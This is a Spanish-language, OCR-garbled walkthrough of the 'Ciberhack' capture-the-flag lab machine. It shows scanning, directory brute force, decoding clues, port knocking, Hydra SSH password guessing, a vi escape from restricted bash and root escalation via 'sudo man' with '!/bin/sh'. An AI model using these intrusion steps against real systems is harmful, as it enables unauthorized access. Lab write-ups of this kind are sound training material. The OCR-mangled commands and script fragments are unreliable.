Walkthrough Ciberhack

resolucion de maquina Ciberhack
(Hacking Etico)
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1. RECONOCIMIENTO

L 192,168
Starting Nmap 7.94
scan report for
is up | 208495
scan report for
is up (@.00011s
scan report for
is up (@.00047s
2.93 seconds

\irting Nmap 7.
Nmap scan

Mot shown: 65
PORT STATE
21/tcp open
ftp-syst:
STAT:
FTP server
Connected to 192.168.28.4
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout inm seconds is 3
Control connection is plain
Data connections will be plain tex
At session startup, client count
vsFTPd 3.0.5 - secure, fast, stable
_End of status
ftp-anon: Anonymous FTP login allowed (FTP code
55@ Permission denied.

(Ubuntu))

fusers fwp-content/sec
05: Unix

Service detection performed. Please report any incorrect results a 5 ap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.5@ seconds

Después de saber su IP le tiro un escaneo de puertos para saber algunas posibles
vulnerabilidades que pueda tener o saber que puertos estan abiertos para poder
aprovecharlos



9 /usr/share/wordlists/dirb/big.txt

START_TIME: Sun
URL_BASE: htt
WORDLIST_FILES: /fusr/share/wordlists/dirb/big.txt

NARNING i ¢ IS LISTAELE. No
(Use mo if you want to scan

] 92.16
IS LISTABLE. No

you want to scan

Sabiendo que tiene corriendo un apache, podemos tirarle un “dirb” para saber qué
directorios o archivos web tienen por la red dentro de este apache

Desafios CTF Empresariales

<« > C @ O a

KaliLinux 4 KaliTools = KaliDocs ! Kali F¢ o Kali NetHunter = Exploit-DB % Google Hacking DB /" OffSec

Desafios CTF Empresariales

iUnete a la batalla por la seguridad digital empresarial!

Participa en nuestros desafios CTF para desarrollar habilidades, resolver problemas y fortalecer tu conocimiento en ciberseguridad.

iParticipa Ahora!

¢Qué son los desafios CTF empresariales?

Los desafios CTF empresariales son eventos virtuales donde los participantes se enfrentan a una serie de desafios relacionados con la seguridad digital. Estos desafios
estan disefiados para imitar situaciones empresariales reales y abordar problemas comunes de seguridad cibernética que enfrentan las organizaciones.

s tienen la de desarrollar habilidades técnicas y tacticas, mejorar su capacidad para detectar y mitigar amenazas cibernéticas, y fomentar la
colaboraci6n y el trabajo en equipo para resolver problemas de seguridad de manera efectiva.

Ranaficine da narticinar



Si ponemos la direccién IP de la maquina victima y no le especificamos el puerto no
redirigira al puerto 80 que es el que viene por defecto en el cual esta corriendo el apache
(Una pagina web) con esto ya podemos investigarla para sacar posibles credenciales o
vulnerabilidades

Base32 Decode

This Base32 decode online tool helps you decode Base32 string to original text.

JETW2IDHNSUW4ZZAORXSAZ3J0ZSSA6LPOUQGCIDQMFZXG53P0JSCASDPEB2WAGTIOAQHG33NMY2GQ2LOMAQHG33NMY3WQ
ZLSMUQG63RA0ORUGKIDNMFRWQ2LOMUXCALQKBIYGCA3TOSXXEZB2EBRWQYLSNRXXI===

[J Remember Input

Decode Auto Update

fI'm going to give you a password to unzip something somewhere on the machine...

password: charlot

Por lo que vemos al inspeccionar la pagina encontramos una codificaciéon en Base32, por lo
que lo decodificamos y nos da la palabra “charlot” que nos servira en un futuro...



QO

Kali Linux #& KaliTools = KaliDocs & KaliForums ex Kali NetHunter

H #

User-agent: *

Disallow: /¢ 1. html
Disallow: /wp-admin

Disallow: /wp-content
Disallow: /wp-users

Disallow: fwp-admin/users
Disallow: fwp-content/secret/*
Disallow: /db.txt

En el “dirb” nos puso que habia un robots.txt que es donde se encuentran las ubicaciones de
directorios web que no quieren que indexen los navegadores (esto si esta la palabra
Disallow que significa que no lo indexen) pero en este caso vemos una vulnerabilidad o un
fallo que nos muestra 6 rutas completas pero no en todas podemos acceder ya que es una
trampa para que perdamos tiempo, solo hay 1 de la que es real aqui dentro y es “/db.txt”

O & 192.168.28.9/

Kali Linux # KaliTools =« KaliDocs & KaliForums e Kali NetHu

This could be something, don't you think?

0386

Una vez dentro de db.txt encontramos 3 puertos por lo que parece que tendremos que hacer
un PortKnocking mas adelante ya que encontramos nuestro ssh en estado filtered



3 192.168.28.9/secret/

Kali Linux & KaliTools « KaliDocs ¥ Kali Forums X Kali MetHunter

Index of /secret

Name Last modified Size Description

& Parent Directory -
FLAG.txt 2024-03-31 11:57 486
secret.html 2024-03-31 12:07 1.1K

Apache/2.4.52 (Ubuntu) Server at 192.168.28.9 Port 80

En una de ella encontramos una “flag” y en la otra opcién es una pagina web

#FLAG1

O & 192.168.28

Kali Linux & KaliTools = KaliDocs # Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

i
it
i
##
i

Very good, you have the flag 1/5

This flag is worth 10 points.

We started well, you already have your first flag, now let's keep looking for more, keep it up

Si le damos a la flag veremos el contenido de la misma



C @

Kali Linux # KaliTools < KaliDocs ¥ KaliForums o Kali NetHunter Exploit-DB Google Hacking DB OffSec

iBienvenido a la pagina secreta de Hacking Etico!

En esta pagina, exploraremos los fundamentos del hacking ético y como se puede utilizar de manera positiva para mejorar la seguridad de sistemas informaticos.

iEsperamos que disfrutes aprendiendo con nosotros!

Y si le damos a la pagina web veremos que a simple vista no hay gran cosa, pero si
inspeccionamos su codigo...

;.Einnunnidn ERE]
! ,En esta pdgina, ex
mos que dis

pagina secreta de Hacking Etico!</
p1nr:rwmo: los fundamentos del hackin g ético y como se puede L
fru ndo con nosotros!=/p=

Veremos que hay un comentario en la pagina y no son los tipicos comentarios que crea un
programador para clasificar cosas, si no que vemos un texto y después 11 codigos
encriptados en base64 siendo uno de ellos el correcto “Ym9i”



Y mgi

© Para binarios ¢
UTF-8
Decodifique ca

@ Modo en dire

< DECODIFI

hob

Una vez que encontramos el correcto al decodificarlo nos mostrara lo que parece ser un
usuario para conectarnos via ssh

3 192.168.28.9/passwd/

Kali Linux #& KaliTools « KaliDocs & KaliForums e Kali NetHunter Exploit-D

Index of /passwd

Name Last modified Size Description

ﬁ Parent Directory -
passwd.txt 2024-03-31 12:05 535

Apache/2.4.52 (Ubuntu) Server at 192.168.28.9 Port 80

Y si nos vamos a la otra ruta encontramos un .txt



KaliLinux @& KaliTools <« KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

From what I see we have to remove this file from here, look I told him so and he never pays attention to me
If anyone sees this, let them know that the password of one of our users is...
jord: bobaliconXX
Shit I don't remember the last 2 sayings, although you'll be smart, you just have to replace the two XX's with 2 numbers that match the password

-boss

Dentro de la misma nos muestra lo que viene siendo unas instrucciones para sacar la
contrasefa al usuario “bob” mediante “hydra”

2. PORTKNOCKING

Pero antes de hacer el ataque tendremos que abrir el puerto ssh con esos 3 puertos que
nos dieron haciendo un PortKnockign, en mi caso utilizare un script directamente de python3
para que toque los puertos y asi se desbloque, la secuencia de los puertos es la siguiente...
(8375,0386,1904)

socket
sys
readline
time

0O W N

t.strip())
00 ms default delay

print(f"[+] 1 pue Lf L")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout( .delay)

sock.connect_ex(( .host, port))

] cﬁ.close()
print("[+] Port K

= '_main__":
Knockit().knockit()

Aqui esta el script por si os viene bien utilizar este o bien lo queréis hacer mediante
comando o herramientas



(Ubuntu Linux; protocol 2.8)

Una vez tocado los puertos correctos, hacemos otro “nmap” y ahora si nos aparecera el
puerto ssh abierto y totalmente funcional

3. HYDRA

Lo primero que haremos sera crear nuestro propio diccionario probando todas las
combinaciones de numeros en las 2 ultimas secciones poniendo ese comando

)-[~/Desktop]
bob -P dic.txt ssh

[DATA]
[DATA]
[22]1[ssh] host: 192. ¢ 3 L ) password: bobaliconlé

1 of 1 target : L C lid p word found

Una vez hecho el diccionario de palabras, atacaremos mediante hydra, esperamos un rato y
nos sacara la contrasefia de bob “bobalicon14”



4. USUARIO BOB

@. rocesses: 18@

5 red in: 1

1 r4 addre for enp@s3: 192.168.28.9
@

t confined Kubernete ake edge a IoT secure. Learn how MicroK8s
ed the bar easy, resilie a secure K8s cluster deployment.

3
apt list --upgradable

seguridad adicionales.

:31 2824 from 192.168.28.4

Una vez nos conectemos mediante ssh con el usuario bob, veremos que estamos en una
restricted bash, por lo que tenemos que escapar de ella



:set shell=/bin/sh]]

Si utilizamos el comando “vi” que es de los pocos que podemos utilizar y ponemos lo
siguiente podremos escapar de la restricted bash, primero creamos una variable que ejecuta
una bash normal



Y después la ejecutamos esa variable llamada “shell”



4896
4896
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dic

FLAG.txt
.profile
wiminfo

[l R T =)

Una vez que hagamos eso habriamos escapado de esa bash, pero no hay que hacer
/bin/bash para tener una shell mas comoda, por que no te dejara hacer comando binarios ya
que estan bloqueados para ese usuario y en esta shell si te deja utilizar estos comandos

#FLAG3

% cat FLAG.txt

Very good, you have the fla
This flag is worth 1@ points

From what I see you escaped from that restricted bash, clever, now to continue escalating privileges hehe

Leemos la flag para tenerla...

Yi:/usr/Llocal/bin\:/usr/sbin’\: /usr/bin\:/sbin\:/bin%\:/snap/bin, use_pty

llowing commands on ciberhack:
: /usr/bin/funzip




En esta ubicacion encontramos un archivo zip protegido con contrasefia y si hacemos “sudo
-I” podremos ver que solo podemos ejecutar sudo sin contrasefia el binario unzip

charlot dic.txt.zip

Wow, it seems that you have reached this point, I am only going to tell you some clues to be able to get the password for "charlot”

I know that your password contains words that are on the website, there is the key to everything...

luck ;D

Con lo que conseguimos en la pagina al principio la palabra “charlot” esa sera la contrasefa
de este archivo zip, lo descomprimimos utilizando sudo y veremos dentro del mismo un .txt
que dice que en algun lugar de la pagina web estara la palabra de la contrasefia de “charlot”

[~/Desktop]
192.168.28.9 -w dicchar.

ength) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Lo que haremos sera utilizar esta herramienta para sacar todas las palabras de la pagina
web principal y volcarlo en un archivo .txt que sera nuestro diccionario para lanzarlo al hydra

)-[~/Desktop]
HA

[WARNING] ] conf ions limit the num of p 1 ommended to
[DATA] m: il L 64 tasks, 185 login t (L:1/p:1 , ~2 tries

[DATA]

assword: estimulantes
rd found
X r threads did not complete until end.
ts did not resolve or could not be connected
did not complete
ithub.com/vanhauser-thc/thc-hydra) finished at

Una vez creado el diccionario, lanzamos el ataque y nos mostrara la contrasefia
“estimulantes”



5. USUARIO CHARLOT

charlotaciberhack:

charlotaciberhack: $ tree

l: [error opening dir]

L— FLAG.txt

Una vez conectado al ssh mediante “charlot” inspeccionamos los archivos que hay...

#FLAG4

You are only one step away from getting the last flag and thus being root

Leemos la flag para tenerla



#FLAG2

cd ftp/s
tp# ls

Aftpd# cat FLAG.Txt

HRid Hid R
#E O w# HR
HRREE R ORR
#E A
g i

‘ery good, you have the fl
This flag is worth 10 points

Wow, you found this flag wery guickly, we should protect this FTP more...

Si nos vamos a la raiz “/” encontramos un directorio llamado “ftp/” que dentro contiene una
flag de FTP que solo se puede encontrar entrando en la maquina y no por el FTP y por lo
que la leemos para tenerla...

charlot@ciberhack:~$ sude -1
Matching Defaults entries for charlot on ciberhack:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User charlot may run the following commands on ciberhack:
(ALL : ALL) NOPASSWD: /fusr/bin/man

Si hacemos con este usuario “sudo -I” veremos que el “man” se puede utilizar sudo sin
contrasefia por lo que aprovecharemos eso utilizando lo siguiente

charlotdciberhack:~$% sudo man manl




MANC1)

NOMBRE
man

SINOPSIS
man [opciones de
man -k [opciones
man -K [opciones de man seccid
man -f [whatis opciones] pagina
man -1 [opciones de man] archivo
man -wl-W [opciones de man] pagina

DESCRIPCION
man s el paginador de manuales del
] , pues, encontra
iguiendo un orden predefil nido

los niomeros de seccion del manual

ordenes de la shell
(funciones proporcionadas por el nicle
vda I (funciones dentro de bibliotecas de
A::hluun especiale Inuxm41mﬂnte se ﬂﬂ:uﬂﬂT14ﬂ en fdev)
Formatos de archivo y - ‘passwd
1uﬁ903

1

on Lnope

|

aguete & Mac y convenios), p.
administracion del SiaTema |n01m41mnnte 3010 pi
Rutinas del nicleo [No estandar]

o

W

Una pagina de manual contiene varias secciones.

Nombres de seccion convencionales: NOMBRE, SINOPSIS, CON
DEFECTOS, EJEMPLO, AUTORES, y VEASE TAMBIEN.

Los siguientes convenios se aplican a la seccion SINOPSIS y p

escritura resaltada
cursiva

[-ahc]

-al-b

argumento

e e

Ponemos este comando “sudo man man” y nos llevara a este apartado, dentro de aqui
pondremos “!/bin/sh” para que nos devuelva una shell registrado con privilegios de “root”
(siendo root) esto sucede por que utilizamos “sudo”



6. USUARIO ROOT

# whoami
root

# /bin/bash
root@ciberhack: /home/charlot# i

Una vez echo eso seremos “root” para verlo mas bonito ejecutamos el comando “/bin/bash”

#FLAGS

Very good, you have the 5/5 flag

This flag is worth 38 points

ations!! You ma ed to be root, you already passed the machine, you are a great hacker ...

Y por ultimo si nos vamos al directorio de “/root” veremos la ultima flag por lo que la maquina
ya estaria totalmente terminada.

GRACIAS POR HABER PARTICIPADO EN MI MINIJUEGO DE HACKING ETICO



